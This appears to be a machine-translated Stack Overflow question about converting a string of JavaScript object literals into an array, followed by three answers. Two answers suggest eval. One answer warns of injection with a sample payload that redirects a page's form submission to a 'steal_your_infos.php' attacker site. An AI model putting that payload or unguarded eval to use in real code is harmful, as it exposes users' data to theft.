从变量构建数组

时间:2017-06-16 00:15:49

标签: javascript arrays regex

我试图将字符串变量转换为数组。每一行'字符串的大小由{}限定所以在下面的例子中,数组中应该有三行。我一直在尝试regexp表达式(我认为这是可行的方法),但我无法做到正确。

我有:

var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 
'data9'}";

我想:

var dest = [ {col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'} 
];

我试过了:

var srow = data.src(/{/);
var erow = data.src(/}/)+1;
var row = src.substring(srow, erow);
alert(row); //add to array and repeat : srow = erow+1....

感谢任何帮助!

3 个答案:

答案 0 :(得分:0)

我不会假装知道你从哪里获取这样的数据,但理想情况下你不会将数据数据存储为字符串。话虽这么说,您可以使用正则表达式用括号([])替换字符串的开头和结尾,然后将dangerously eval替换为变量。

const arr = eval(src.replace(/^/, '[').replace(/$/, ']'))

希望这有帮助!

答案 1 :(得分:0)

如果字符串正确地表达了JSON格式,那么您可以使用JSON.parse(src)来完成。

鉴于您收到的数据不是JSON数据,如果您绝对需要从该点转换它,那么较小的恶意可能是直接使用eval,如下所示:

var dst = eval('[' + src + ']');

但是,如果用户可以在用户之间共享输入(如果用户决定将该行插入您的系统,那么会出现安全问题:"'}]; document.forms[0].action="hacker-website/steal_your_infos.php'; ["?)

我不认为您的项目被破坏以证明使用eval转换字符串是合理的。我的建议是:尝试修复发送此数据并使其至少发送有效字符串化JSON的内容。

更好的是,让它发送一个JSON对象。

例如,这可能是由事物发送的有效JSON对象:

{
   "rows": [
      {
         "col1": "data1",
         "col2": "data2",
         "col3": "data3"
      },
      {
         "col1": "data4",
         ...
      }
   ]
}

尝试破解整个事情以解决数据损坏可能会严重损害您的项目,请立即修复它。

希望这有帮助。

答案 2 :(得分:0)

我希望这会有所帮助。

在此处查看示例... https://jsfiddle.net/xombie/cL8qbdb4/

javascript功能

function run(){
var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'}";

var srow = src.split('{').join('');
var erow = srow.split('},');
var dest= [];
for(var i= 0, len = erow.length; i < len; i++){
    var mainobj = [];
    erow[i] = erow[i].replace('}', '');
  erow[i] = erow[i].split(',');
  for(var x= 0, len2 = erow[i].length; x < len2; x++){
    erow[i][x] = erow[i][x].split("'").join('');
    erow[i][x] = erow[i][x].split(" ").join('');
    erow[i][x] = erow[i][x].split(':');
    mainobj[erow[i][x][0]] = erow[i][x][1];
  }
  dest.push(mainobj);
}
console.log(dest);
}